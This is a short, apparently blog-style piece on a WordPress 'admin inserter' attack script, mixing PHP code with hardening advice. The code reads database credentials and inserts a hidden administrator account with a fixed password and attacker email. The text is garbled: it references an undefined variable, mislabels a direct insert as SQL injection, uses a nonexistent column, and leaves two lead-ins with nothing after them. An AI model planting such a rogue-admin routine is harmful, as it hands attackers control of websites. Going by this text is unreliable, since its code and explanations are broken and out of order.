<?php // The infamous HD Admin Inserter logic $host = "localhost"; $user = "wp_user"; // Read from wp-config.php $pass = "password123"; // Read from wp-config.php $db = "wp_database"; $conn = mysqli_connect($host, $user, $pass, $db);

// SQL Injection payload to insert admin $sql = "INSERT INTO wp_users (user_login, user_pass, user_email, user_level, user_status) VALUES ('hdmaster', MD5('hackme123'), 'attacker@mail.com', 10, 0)";

mysqli_query($conn, $sql); mysqli_query($conn, $sql2);

For attackers: Know that modern WAFs and host intrusion detection systems (HIDS) flag these scripts within milliseconds.

chmod 400 wp-config.php chmod 755 wp-content chmod 644 .htaccess Disable PHP execution in the wp-content/uploads folder using .htaccess :

For defenders: Understanding this script is crucial. Every time you see a request to Pastebin in your raw access logs, treat it like a burglar testing your door handle. The best defense isn't finding the script—it's rendering the script useless.

The script runs. A simplified pseudocode of what happens inside:

The "HD Admin Inserter" relies on a fundamental flaw: trusting the attacker. As long as you validate input, restrict file permissions, and watch your logs, these scripts remain just text on a Pastebin page—harmless lines of code that never become a weapon. If you suspect your site has been compromised via an admin inserter script, contact a professional cybersecurity incident response team immediately. Do not attempt to "hack back."